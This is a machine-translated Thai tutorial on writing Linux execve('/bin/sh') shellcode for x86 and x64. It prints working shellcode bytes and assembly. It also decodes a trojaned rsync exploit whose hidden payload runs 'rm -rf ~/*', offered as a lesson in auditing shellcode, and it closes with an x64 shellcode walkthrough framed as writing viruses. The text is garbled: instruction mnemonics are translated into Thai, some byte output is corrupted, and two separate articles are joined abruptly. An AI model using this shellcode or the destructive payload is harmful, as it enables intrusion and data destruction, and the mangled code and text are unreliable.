ในการแก้ปัญหาแรก เราจะทำให้เชลล์โค้ดของเราสามารถแทรกไบต์ว่างในตำแหน่งที่ถูกต้องในขณะรันไทม์ได้ ในการแก้ปัญหาที่สอง เราจะใช้การกำหนดที่อยู่แบบสัมพันธ์ วิธีคลาสสิกในการเรียกคืนที่อยู่เชลล์โค้ดคือการเริ่มต้นด้วยคำสั่ง CALL ในความเป็นจริง สิ่งแรกที่ CALL ทำคือส่งที่อยู่ของไบต์ถัดไปไปยังสแต็กเพื่อให้สามารถพุช (โดยคำสั่ง RET) ลงใน EIP หลังจากที่ฟังก์ชันที่ถูกเรียกกลับมา การดำเนินการจึงย้ายไปยังที่อยู่ ระบุโดยพารามิเตอร์คำแนะนำการโทร วิธีนี้ทำให้เราได้รับตัวชี้ไปยังสตริงของเรา: ที่อยู่ของไบต์แรกหลัง CALL คือค่าสุดท้ายบนสแต็กและเราสามารถรับมันได้อย่างง่ายดายโดยใช้ POP ดังนั้นแผนเชลล์โค้ดทั่วไปจะเป็นดังนี้:

รายการที่ 12. jmp สั้น mycall ; ข้ามไปที่คำสั่งการโทรทันที shellcode: pop esi ; เก็บที่อยู่ของ "/bin/sh" ใน ESI [...] mycall: call shellcode ; พุชที่อยู่ของไบต์ถัดไปลงบนสแต็ก: db ถัดไป "/bin/sh" ; byte คือจุดเริ่มต้นของสตริง "/bin/sh"

มาดูกันว่ามันทำอะไร:

ขั้นแรก เชลล์โค้ดจะข้ามไปที่คำสั่ง CALL
- CALL พุชที่อยู่ของบรรทัด /bin/sh ลงบนสแต็ก ซึ่งยังไม่สิ้นสุดด้วยไบต์เป็นศูนย์ คำสั่ง db เพียงเริ่มต้นลำดับของไบต์ จากนั้นการดำเนินการจะข้ามไปที่จุดเริ่มต้นของโค้ดเชลล์อีกครั้ง
- จากนั้นที่อยู่ของสตริงจะถูกดึงออกมาจากสแต็กและจัดเก็บไว้ใน ESI ตอนนี้เราสามารถเข้าถึงที่อยู่หน่วยความจำโดยใช้ที่อยู่สตริง

จากนี้ไป คุณสามารถใช้โครงสร้างเชลล์โค้ดที่เต็มไปด้วยสิ่งที่มีประโยชน์ได้ มาวิเคราะห์การดำเนินการตามแผนของเราทีละขั้นตอน:

ปัด EAX ด้วยศูนย์เพื่อให้พร้อมใช้งานตามวัตถุประสงค์ของเรา
- เราสิ้นสุดบรรทัดโดยคัดลอกศูนย์ไบต์จาก EAX (เราจะใช้การลงทะเบียน AL)
- ลองถามตัวเองว่า ECX จะมีอาร์เรย์ของอาร์กิวเมนต์ที่ประกอบด้วยที่อยู่ของสตริงและตัวชี้ค่าว่าง ภารกิจนี้จะสำเร็จได้โดยการเขียนที่อยู่ใน ESI ลงในสามไบต์แรก จากนั้นตามด้วยตัวชี้ว่าง (ศูนย์นำมาจาก EAX อีกครั้ง)
- บันทึกหมายเลขโทรศัพท์ของระบบใน (0x0b) EAX;
- บันทึกอาร์กิวเมนต์แรกเพื่อ execve(2) (นั่นคือ ที่อยู่สตริงที่จัดเก็บไว้ใน ESI) ใน EBX
- บันทึกที่อยู่อาร์เรย์ใน ECX (ESI + 8)
- บันทึกที่อยู่ของตัวชี้ว่างใน EDX (ESI+12)
- ดำเนินการขัดจังหวะ 0x80

รหัสการประกอบที่ได้จะแสดงในรายการ 13

รายการ 13 รหัสการประกอบที่ทำใหม่ get_shell.asm jmp สั้น mycall ; ข้ามไปที่คำสั่งการโทรทันที shellcode: pop esi ; เก็บที่อยู่ของ "/bin/sh" ใน ESI xor eax, eax ; ไบต์ EAX mov ออกเป็นศูนย์, อัล; เขียนไบต์ว่างที่ส่วนท้ายของสตริง mov dword , esi ; , เช่น. หน่วยความจำที่อยู่ด้านล่างสตริง ; "/bin/sh" จะมีอาร์เรย์ที่ชี้ไปโดย ; อาร์กิวเมนต์ที่สองของ execve(2); ดังนั้นเราจึงเก็บเอาไว้; ที่อยู่ของสตริง... mov dword , eax ; ...และในตัวชี้ NULL (EAX คือ 0) mov al, 0xb ; เก็บหมายเลขของ syscall (11) ใน EAX lea ebx, ; คัดลอกที่อยู่ของสตริงใน EBX lea ecx, ; อาร์กิวเมนต์ที่สองเพื่อดำเนินการ (2) lea edx, ; อาร์กิวเมนต์ที่สามที่ต้องดำเนินการ (2) (ตัวชี้ NULL) int 0x80 ; ดำเนินการระบบ

โทร mycall: โทรเชลล์โค้ด ; พุชที่อยู่ของ "/bin/sh" ลงบนสแต็ก db "/bin/sh"

มาแยก opcodes กัน รายการ 14:

$ gcc -o get_shell get_shell.c $ ./get_shell sh-2.05b$ ออก $
ความไว้วางใจเป็นสิ่งที่ดี... ลองดูโค้ดเชลล์จากการใช้ประโยชน์ (http://www.securityfocus.com/bid/12268/info/) ซึ่งเขียนโดย Rafael San Miguel Carrasco มันใช้ประโยชน์จากช่องโหว่บัฟเฟอร์ล้นโปรแกรมเมล

เชลล์ถ่านคงที่ = "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\ xb0\x0b\x89" "\xf3\x8d\x4e\x08\ x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\ x62\x69\x6e" "\x2f\x73\x68\x58";

เรามาแยกชิ้นส่วนโดยใช้ ndisasm เราจะได้อะไรคุ้นเคยบ้างไหม? รายการที่ 16.

รายการ 16. การแยกชิ้นส่วนด้วย ndisasm$ เสียงสะท้อน -ne "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"\ "\xf3\x8d\x4e\x08 \x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"\ "\x2f\x73\x68\x58" | ndisasm -u - 00000000 EB17 jmp สั้น 0x19 ; ข้ามเริ่มต้นไปที่ CALL 00000002 5E pop esi ; เก็บที่อยู่ของสตริงใน ; ESI 00000003 897608 mov ,esi ; เขียนที่อยู่ของสตริงใน ; ESI + 8 00000006 31C0 x หรือ eax,eax ; ศูนย์ออก EAX 00000008 884607 mov ,al ; ยุติสตริงด้วยค่า Null 0000000B 89460C mov ,eax ; เขียนตัวชี้ว่างไปที่ ESI + 12 0000000E B00B mov al,0xb ; จำนวนผู้บริหาร (2) syscall 00000010 89F3 mov ebx,esi ; เก็บที่อยู่ของสตริงใน ; EBX (อาร์กิวเมนต์แรก) 00000012 8D4E08 lea ecx, ; อาร์กิวเมนต์ที่สอง (ตัวชี้ไปที่ ; อาร์เรย์) 00000015 31D2 xor edx,edx ; ศูนย์ออก EDX (อาร์กิวเมนต์ที่สาม) 00000017 CD80 int 0x80 ; ดำเนินการเรียก syscall 00000019 E8E4FFFFFF 0x2 ; กดที่อยู่ของสตริงและ ; ข้ามไปที่วินาที คำแนะนำ 0000001E 2F das; "/bin/shX" 0000001F 62696E ที่ถูกผูกไว้ ebp, 00000022 2F das 00000023 7368 jnc 0x8d 00000025 58 pop eax $

...แต่ควบคุมได้ดีกว่า
อย่างไรก็ตาม แนวปฏิบัติที่ดีที่สุดยังคงเป็นนิสัยในการตรวจสอบโค้ดเชลล์ก่อนใช้งาน ตัวอย่างเช่น เมื่อวันที่ 28 พฤษภาคม พ.ศ. 2547 นักเล่นพิเรนได้โพสต์การหาประโยชน์สาธารณะสำหรับ rsync (http://www.seclists.org/lists/fulldisclosure/2004/May/1395.html) แต่โค้ดไม่ชัดเจน: ตามส่วนของ รหัสที่มีความคิดเห็นดีมีชิ้นส่วนที่ไม่เด่น รายการ 17

หลังจากดู main() แล้ว เห็นได้ชัดว่าช่องโหว่นี้ทำงานในเครื่อง:

(ยาว) funct = [...] funct();

ดังนั้น เพื่อทำความเข้าใจว่าเชลล์โค้ดทำอะไร เราไม่จำเป็นต้องรันมัน แต่แยกชิ้นส่วนมันออก รายการ 18

รายการ 18. รหัสเชลล์ที่แยกชิ้นส่วนและมองเห็นได้ไม่ดี$ echo -ne "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8[...]" | \ > ndisasm -u - 00000000 EB10 jmp สั้น 0x12 ; ข้ามไปที่ CALL 00000002 5E pop esi ; ดึงที่อยู่ของไบต์ 0x17 00000003 31C9 xor ecx,ecx ; ศูนย์ออก ECX 00000005 B14B mov cl,0x4b ; ตั้งค่าตัวนับลูป (ดู ; inscstruction 0x0E) 00000007 B0FF mov al,0xff ; ตั้งค่ามาสก์ XOR 00000009 3006 xor ,al ; XOR ไบต์ 0x17 พร้อม AL 0000000B FEC8 dec อัล ; ลดมาสก์ XOR 0000000D 46 inc esi ; โหลดที่อยู่ของไบต์ถัดไป 0000000E E2F9 ลูป 0x9 ; เก็บ XORing ไว้จนกระทั่ง ECX=0 00000010 EB05 jmp สั้น 0x17 ; ข้ามไปที่คำสั่ง XORed แรก 00000012 E8EBFFFFFF โทร 0x2 ; PUSH ที่อยู่ของไบต์ถัดไปและ ; ข้ามไปที่คำสั่งที่สอง 00000017 17 pop ss [...]

อย่างที่คุณเห็น นี่คือเชลล์โค้ดที่แก้ไขได้เอง: คำสั่ง 0x17 ถึง 0x4B จะถูกถอดรหัสขณะรันไทม์โดย XORing ค่าจาก AL ซึ่งถูกเสริมด้วย 0xFF ก่อน จากนั้นจึงลดลงในแต่ละรอบของลูป หลังจากถอดรหัสแล้ว คำสั่งจะถูกดำเนินการ (jmp short 0x17) ลองทำความเข้าใจว่าคำสั่งใดที่ถูกดำเนินการจริง เราสามารถถอดรหัสโค้ดเชลล์ได้โดยใช้ Python รายการ 19

รายการ 19. การถอดรหัสโค้ดเชลล์โดยใช้ Python decode.py #!/usr/bin/env python sc = "\xeb\x10\x5e\x31\xc9\xb1\x4b\xb0\xff\x30\x06\xfe\xc8\x46\xe2\xf9" + \ "\xeb\x05\xe8\xeb\xff\xff\xff\x17\xdb\xfd\xfc\xfb\xd5\x9b\x91\x99" + \ "\xd9\x86\x9c\xf3\x81\x99\ xf0\xc2\x8d\xed\x9e\x86\xca\xc4\x9a\x81" + \ "\xc6\x9b\xcb\xc9\xc2\xd3\xde\xf0\xba\xb8\xaa\xf4\xb4\ xac\xb4\xbb" + \ "\xd6\x88\xe5\x13\x82\x5c\x8d\xc1\x9d\x40\x91\xc0\x99\x44\x95\xcf" + \ "\x95\x4c\ x2f\x4a\x23\xf0\x12\x0f\xb5\x70\x3c\x32\x79\x88\x78\xf7" + \ "\x7b\x35" พิมพ์ "".join()])

การดัมพ์ฐานสิบหกจะทำให้เรามีแนวคิดแรก: ดูที่รายการ 20

อืม... /bin/sh, sh -c rm -rf ~/* 2>/dev/null ... อย่ามองโลกในแง่ดีเกี่ยวกับโค้ดมากเกินไป! แต่เพื่อความแน่ใจ เรามาแยกชิ้นส่วนกัน รายการ 21

คำสั่งแรกคือคำสั่ง CALL ตามด้วยบรรทัดที่พิมพ์ดัมพ์เลขฐานสิบหกทันที จุดเริ่มต้นของเชลล์โค้ดสามารถเขียนใหม่ได้ด้วยวิธีนี้ ดูรายการ 22

มาบันทึก opcodes โดยเริ่มจากคำสั่ง 0x2a (42) รายการ 23:

รายการ 23. การตรวจสอบว่าฟังก์ชันใดถูกเรียกใช้$ ./decode_exp.py | ตัด -c 43- | ndisasm -u - 00000000 5D ป๊อป ebp ; ดึงที่อยู่ของสตริง; "/bin/sh" 00000001 31C0 xor eax,eax ; ศูนย์ออก EAX 00000003 50 กด eax ; กดตัวชี้ว่างลงบนสแต็ก 00000004 8D5D0E lea ebx, ; เก็บที่อยู่ของ ; "rm -rf ~/* 2>/dev/null" ใน EBX 00000007 53 กด ebx ; และดันมันลงบนสแต็ก 00000008 8D5D0B lea ebx, ; เก็บที่อยู่ของ "-c" ใน EBX 0000000B 53 push ebx ; และดันมันลงบนสแต็ก 0000000C 8D5D08 lea ebx, ; เก็บที่อยู่ของ "sh" ใน EBX 0000000F 53 push ebx ; และดันมันลงบนสแต็ก 00000010 89EB mov ebx,ebp ; เก็บที่อยู่ของ "/bin/sh" ใน ; EBX (หาเรื่องแรกเพื่อดำเนินการ ()) 00000012 89E1 mov ecx,esp ; จัดเก็บตัวชี้สแต็กไปที่ ECX (ESP ; ชี้ไปที่ "sh", "-c", "rm...") 00000014 31D2 xor edx,edx ; หาเรื่องที่สามเพื่อดำเนินการ () 00000016 B00B mov al,0xb ; จำนวน execve() syscall 00000018 CD80 int 0x80 ; ดำเนินการ syscall 0000001A 89C3 mov ebx,eax ; เก็บ 0xb ใน EBX (รหัสทางออก=11) 0000001C 31C0 xor eax,eax ; ศูนย์ออก EAX 0000001E 40 inc eax ; EAX=1 (จำนวนทางออก() syscall) 0000001F CD80 int 0x80 ; ดำเนินการ syscall

จากนี้เราจะเห็นได้อย่างชัดเจนว่า execve(2) ถูกเรียกพร้อมกับอาร์เรย์ของอาร์กิวเมนต์ sh, -c, rm -rf ~/* 2>/dev/null ดังนั้นการทดสอบโค้ดของคุณก่อนใช้งานจริงจึงไม่เสียหาย!

IoT คือเทรนด์ที่แท้จริงของยุคปัจจุบัน มันใช้เคอร์เนล Linux เกือบทุกที่ อย่างไรก็ตาม มีบทความค่อนข้างน้อยเกี่ยวกับการเขียนไวรัสและการเข้ารหัสเชลล์สำหรับแพลตฟอร์มนี้ คุณคิดว่าการเขียนเชลล์โค้ดสำหรับ Linux นั้นมีไว้สำหรับคนชั้นสูงเท่านั้นหรือไม่? มาดูวิธีเขียนไวรัสสำหรับ Linux กันดีกว่า!

พื้นฐานสำหรับการเขียนไวรัสสำหรับ LINUX

คุณต้องการอะไรในการทำงาน?

ในการคอมไพล์เชลล์โค้ด เราจำเป็นต้องมีคอมไพลเลอร์และตัวเชื่อมโยง เราจะใช้ นาซึมและ แอล- เพื่อทดสอบเชลล์โค้ด เราจะเขียนโปรแกรมขนาดเล็กในภาษาซี เพื่อคอมไพล์เราจำเป็นต้องใช้ จีซีซี- คุณจะต้องมีการตรวจสอบบางอย่าง รัสม์2(ส่วนหนึ่งของกรอบ. เรดาร์2- เราจะใช้ Python เพื่อเขียนฟังก์ชันตัวช่วย

มีอะไรใหม่ใน x64?

x64 เป็นส่วนขยายของสถาปัตยกรรม IA-32 คุณสมบัติที่แตกต่างหลักคือรองรับรีจิสเตอร์วัตถุประสงค์ทั่วไป 64 บิต การดำเนินการทางคณิตศาสตร์และตรรกะ 64 บิตกับจำนวนเต็ม และที่อยู่เสมือน 64 บิต

โดยเฉพาะอย่างยิ่ง รีจิสเตอร์สำหรับวัตถุประสงค์ทั่วไปแบบ 32 บิตทั้งหมดจะยังคงอยู่และมีการเพิ่มเวอร์ชันขยาย ( rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp) และการลงทะเบียนวัตถุประสงค์ทั่วไปใหม่หลายรายการ ( R8, R9, R10, R11, R12, R13, R14, R15).

รูปแบบการโทรใหม่ปรากฏขึ้น (ต่างจากสถาปัตยกรรม x86 ที่มีเพียงสถาปัตยกรรมเดียว) ตามที่กล่าวไว้เมื่อเรียกใช้ฟังก์ชัน แต่ละรีจิสเตอร์จะถูกใช้เพื่อวัตถุประสงค์เฉพาะ กล่าวคือ:

  • อาร์กิวเมนต์จำนวนเต็มสี่ตัวแรกของฟังก์ชันจะถูกส่งผ่านรีจิสเตอร์ rcx, rdx, r8และ r9และผ่านทางทะเบียน xmm0 - xmm3สำหรับประเภทจุดลอยตัว
  • พารามิเตอร์อื่นๆ จะถูกส่งผ่านสแต็ก
  • สำหรับพารามิเตอร์ที่ส่งผ่านรีจิสเตอร์ พื้นที่จะยังคงถูกสงวนไว้บนสแต็ก
  • ผลลัพธ์ของฟังก์ชันจะถูกส่งกลับผ่านทางรีจิสเตอร์ แร็กซ์สำหรับประเภทจำนวนเต็มหรือผ่านการลงทะเบียน xmm0 สำหรับประเภทจุดลอยตัว
  • รบีพีมีตัวชี้ไปที่ฐานของสแต็กนั่นคือสถานที่ (ที่อยู่) ที่สแต็กเริ่มต้น
  • rspมีตัวชี้ไปที่ด้านบนของสแต็กนั่นคือไปยังตำแหน่ง (ที่อยู่) ที่จะวางค่าใหม่
  • อาร์ซี่, อาร์ดีใช้ใน ซิสคอล.

เล็กน้อยเกี่ยวกับสแต็ก: เนื่องจากตอนนี้ที่อยู่เป็นแบบ 64 บิต ค่าบนสแต็กอาจมีขนาด 8 ไบต์

ซิสคอล. อะไร ยังไง? เพื่ออะไร?

ซิสคอลเป็นวิธีที่โหมดผู้ใช้โต้ตอบกับเคอร์เนลใน Linux ใช้สำหรับงานต่างๆ: การทำงานของ I/O, การเขียนและอ่านไฟล์, การเปิดและปิดโปรแกรม, การทำงานกับหน่วยความจำและเครือข่าย และอื่นๆ เพื่อให้เสร็จสมบูรณ์ ซิสคอล, จำเป็น:

โหลดหมายเลขฟังก์ชันที่เกี่ยวข้องลงในรีจิสเตอร์ rax
โหลดพารามิเตอร์อินพุตลงในรีจิสเตอร์อื่น
โทรหมายเลขขัดจังหวะ 0x80(เริ่มจากเคอร์เนลเวอร์ชัน 2.6 ทำได้ผ่านการโทร ซิสคอล).

ต่างจาก Windows ที่คุณยังคงต้องค้นหาที่อยู่ของฟังก์ชันที่ต้องการทุกอย่างที่นี่ค่อนข้างเรียบง่ายและรัดกุม

คุณสามารถค้นหาหมายเลขของฟังก์ชัน syscall ที่ต้องการได้ เช่น

ดำเนินการ()

หากเราดูที่เชลล์โค้ดสำเร็จรูป หลายๆ อันจะใช้ฟังก์ชันนี้ ดำเนินการ()

ดำเนินการ()มีต้นแบบดังนี้

เธอเรียกโปรแกรม FILENAME- โปรแกรม FILENAMEสามารถเป็นได้ทั้งไบนารีที่ปฏิบัติการได้หรือสคริปต์ที่ขึ้นต้นด้วยบรรทัด - ล่าม.

หาเรื่องเป็นตัวชี้ไปยังอาร์เรย์ อันที่จริงนี่ก็เหมือนกัน หาเรื่องซึ่งเราเห็น เช่น ใน C หรือ Python

สิ่งแวดล้อม- ตัวชี้ไปยังอาร์เรย์ที่อธิบายสภาพแวดล้อม ในกรณีของเราไม่ได้ใช้มันจะเป็นเรื่องสำคัญ โมฆะ.

ข้อกำหนดพื้นฐานสำหรับเชลล์โค้ด

มีโค้ดที่ไม่ขึ้นกับตำแหน่ง นี่คือโค้ดที่จะถูกดำเนินการไม่ว่าจะโหลดอยู่ที่ไหนก็ตาม เพื่อให้เชลล์โค้ดของเราถูกดำเนินการที่ใดก็ได้ในโปรแกรม จะต้องเป็นอิสระจากตำแหน่ง

ส่วนใหญ่แล้วเชลล์โค้ดจะเต็มไปด้วยฟังก์ชันต่างๆ เช่น ยืดเยื้อ()- ฟังก์ชั่นที่คล้ายกันใช้ไบต์ 0x00, 0x0A, 0x0Dเป็นตัวคั่น (ขึ้นอยู่กับแพลตฟอร์มและฟังก์ชัน) ดังนั้นจึงเป็นการดีกว่าที่จะไม่ใช้ค่าดังกล่าว มิฉะนั้นฟังก์ชันอาจไม่คัดลอกเชลล์โค้ดทั้งหมด ลองพิจารณาตัวอย่างต่อไปนี้:

$ rasm2 -a x86 -b 64 "กด 0x00" 6a00

$rasm2 - x86 - b 64 "กด 0x00"

6.00 น

อย่างที่คุณเห็นรหัส กด 0x00คอมไพล์เป็นไบต์ต่อไปนี้ 6 ก. 00- หากเราใช้โค้ดแบบนี้ เชลล์โค้ดของเราจะไม่ทำงาน ฟังก์ชันจะคัดลอกทุกอย่างจนถึงไบต์โดยมีค่า 0x00

คุณไม่สามารถใช้ที่อยู่ "ฮาร์ดโค้ด" ในเชลล์โค้ดได้ เนื่องจากเราไม่ทราบที่อยู่เดียวกันเหล่านี้ล่วงหน้า ด้วยเหตุนี้ สตริงทั้งหมดในเชลล์โค้ดจึงได้รับแบบไดนามิกและจัดเก็บไว้ในสแต็ก

นั่นดูเหมือนจะเป็นทั้งหมด

แค่ทำมัน!

หากคุณอ่านมาไกลขนาดนี้ คุณควรเห็นภาพแล้วว่าเชลล์โค้ดของเราทำงานอย่างไร

ขั้นตอนแรกคือการเตรียมพารามิเตอร์สำหรับฟังก์ชัน execve() จากนั้นวางไว้อย่างถูกต้องบนสแต็ก ฟังก์ชั่นจะมีลักษณะดังนี้:

พารามิเตอร์ที่สองคืออาร์เรย์ หาเรื่อง- องค์ประกอบแรกของอาร์เรย์นี้มีเส้นทางไปยังไฟล์ปฏิบัติการ

พารามิเตอร์ที่สามแสดงข้อมูลเกี่ยวกับสภาพแวดล้อม เราไม่ต้องการมัน ดังนั้นมันจะมีค่า โมฆะ.

ก่อนอื่นเราได้รับศูนย์ไบต์ เราไม่สามารถใช้โครงสร้างเช่น mov eax, 0x00 ได้ เนื่องจากมันจะแนะนำไบต์ว่างในโค้ด ดังนั้นเราจะใช้คำสั่งต่อไปนี้:

xor rdx, rdx

ปล่อยให้ค่านี้อยู่ในการลงทะเบียน rdx- จำเป็นต้องใช้เป็นอักขระท้ายบรรทัดและค่าของพารามิเตอร์ตัวที่สาม (ซึ่งจะเป็นโมฆะ)

เนื่องจากสแต็กขยายจากที่อยู่สูงไปต่ำและฟังก์ชัน ดำเนินการ()จะอ่านพารามิเตอร์อินพุตจากต่ำไปสูง (นั่นคือสแต็กทำงานกับหน่วยความจำในลำดับย้อนกลับ) จากนั้นเราจะใส่ค่ากลับด้านลงในสแต็ก

หากต้องการกลับสตริงและแปลงเป็น ฐานสิบหกคุณสามารถใช้ฟังก์ชันต่อไปนี้ใน Python:


ลองเรียกใช้ฟังก์ชันนี้เพื่อ /ถัง/ช: >>> rev.rev_str(“/bin/sh”)

"68732f6e69622f"

เราได้รับไบต์ว่าง (ไบต์ที่สองจากจุดสิ้นสุด) ซึ่งจะทำลายเชลล์โค้ดของเรา เพื่อป้องกันไม่ให้สิ่งนี้เกิดขึ้น เรามาใช้ประโยชน์จากข้อเท็จจริงที่ว่า Linux ละเว้นเครื่องหมายสแลชตามลำดับ (นั่นคือ /bin/shและ /bin//sh- มันเป็นเรื่องเดียวกัน)

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

ไม่มีไบต์ว่าง!

จากนั้นเราจะดูข้อมูลเกี่ยวกับฟังก์ชัน execve() บนไซต์ เราดูที่หมายเลขฟังก์ชันซึ่งเราใส่ไว้ใน rax - 59 เราดูว่ามีการใช้รีจิสเตอร์ใดบ้าง:
รดี- เก็บที่อยู่ของสตริง FILENAME;
อาร์เอส- เก็บที่อยู่ของสตริง argv;
rdx- เก็บที่อยู่ของสตริง envp

ตอนนี้เรามารวบรวมทุกอย่างเข้าด้วยกัน
เราใส่อักขระท้ายบรรทัดลงในสแต็ก (โปรดจำไว้ว่าทุกอย่างทำในลำดับย้อนกลับ):

xor rdx, rdx กด rdx

xor rdx, rdx

กด rdx

วางเชือกไว้บนสแต็ค /bin//sh: mov rax, 0x68732f2f6e69622f
ดันแร็กซ์

รับที่อยู่ของบรรทัด /bin//shบนปึกแล้วดันไปทันที rdi: mov rdi, rsp

ใน rsi คุณต้องวางตัวชี้ไปที่อาร์เรย์ของสตริง ในกรณีของเรา อาร์เรย์นี้จะมีเพียงเส้นทางไปยังไฟล์ปฏิบัติการ ดังนั้นจึงเพียงพอที่จะใส่ที่อยู่ที่อ้างอิงถึงหน่วยความจำซึ่งมีที่อยู่บรรทัดอยู่ (ใน C คือตัวชี้ไปยังตัวชี้) เรามีที่อยู่ของบรรทัดอยู่แล้ว ซึ่งอยู่ในทะเบียน rdi อาร์เรย์ argv ต้องลงท้ายด้วยไบต์ว่างซึ่งเรามีในการลงทะเบียน rdx:

กด rdx กด rdi mov rsi, rsp

กด rdx

ดัน rdi

mov rsi, rsp

ตอนนี้ อาร์เอสชี้ไปยังที่อยู่ในสแต็กที่มีตัวชี้ไปยังสตริง /bin//sh.

เราใส่มันเข้าไป แร็กซ์หมายเลขฟังก์ชัน ดำเนินการ (): xor rax, rax
mov อัล, 0x3b

เป็นผลให้เราได้รับไฟล์ดังต่อไปนี้:


คอมไพล์และลิงก์สำหรับ x64 เมื่อต้องการทำสิ่งนี้:

$ nasm -f elf64 ตัวอย่าง asm $ ld -m elf_x86_64 -s -o ตัวอย่าง example.o

$ nasm - ตัวอย่าง elf64 .asm

$ ld - m elf_x86_64 - s - o ตัวอย่าง ตัวอย่าง .o

ตอนนี้เราสามารถใช้ ตัวอย่าง objdump -dเพื่อดูไฟล์ผลลัพธ์